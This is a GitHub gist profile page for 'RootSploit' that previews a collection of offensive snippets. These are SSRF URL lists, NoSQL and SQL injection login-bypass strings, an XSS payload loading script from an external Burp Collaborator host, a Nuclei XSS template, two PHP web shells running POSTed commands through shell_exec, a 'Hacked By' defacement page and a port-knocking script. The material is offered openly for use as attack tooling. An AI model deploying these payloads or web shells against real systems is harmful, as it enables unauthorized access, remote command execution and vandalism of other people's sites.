Skip to content

Instantly share code, notes, and snippets.

View rootsploit's full-sized avatar
💻

RootSploit rootsploit

💻
18 followers · 6 following
View GitHub Profile
@rootsploit
rootsploit / SSRF-Payloads.txt
Created January 28, 2021 11:01
Combination of SSRF Payloads
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22
http://localhost:80
http://localhost:443
http://localhost:22
https://127.0.0.1/
@rootsploit
rootsploit / NoSQLi-login-bypass.txt
Last active February 10, 2024 06:41
Login Bypass methodology with NoSQLi
Bypass with Operator:
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin$password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
@rootsploit
rootsploit / SQLi-login-bypass.txt
Created January 25, 2021 16:51
SQL Injection Payloads to Bypass Login Page
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
@rootsploit
rootsploit / XML-XSS.xml
Created December 13, 2020 08:26
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(2)</a:script>
<info>
<name>
<value><![CDATA[<script src="https://6u1puty8wuqb7l3utbuq0jizwq2jq8.burpcollaborator.net">confirm(document.domain)</script>]]></value>
</name>
<description>
@rootsploit
rootsploit / CVE-2020-14818.yaml
Last active December 18, 2023 06:50
Nuclei Template for CVE-2020-14818: Oracle Business Intelligence - Reflected XSS
id: cve-2020-14818
info:
name: Oracle BI - XSS by @HackerOn2Wheels
author: RootSploit
severity: medium
description: Reflected Cross-site scripting (XSS) on Oracle Business Intelligence
requests:
- method: GET
@rootsploit
rootsploit / PHPwebShell.php
Created November 4, 2020 04:49
PHP Web Shell
<?php
if (!empty($_POST['cmd'])) {
$cmd = shell_exec($_POST['cmd']);
}
?>
<!DOCTYPE html>
<html lang="en">
<!-- By Artyum (https://github.com/artyuum) -->
<head>
<meta charset="utf-8">
@rootsploit
rootsploit / deface.html
Last active April 14, 2025 09:07
<!DOCTYPE html>
<html oncontextmenu="return false;" onkeypress="return false;" onkeydown="return false;" onkeyup="return false;">
<head>
<title>//:~Hacked By RootSploit~://</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0">
<meta name="Author" content="RootSploit">
<meta name="keywords" content="RootSploit, GS, Hacked, Touched, Leaked, Pawned, Deface, Website Deface, Defacement" />
<meta name="copyright" content="Silent"/>
<meta name="description" content="Silence is the most Powerful Scream"/>
@rootsploit
rootsploit / PHP-WebShell.php
Created September 23, 2020 02:14
<?php
if (!empty($_POST['cmd'])) {
$cmd = shell_exec($_POST['cmd']);
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
@rootsploit
rootsploit / RootSploit.svg
Last active September 23, 2020 04:11
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@rootsploit
rootsploit / port-knock.py
Created August 20, 2020 08:05
Python Script to perform Port Knocking
#!/usr/bin/python3
import socket
import itertools
import sys
import time
import argparse
class Knockit(object):
def __init__(self, args: list):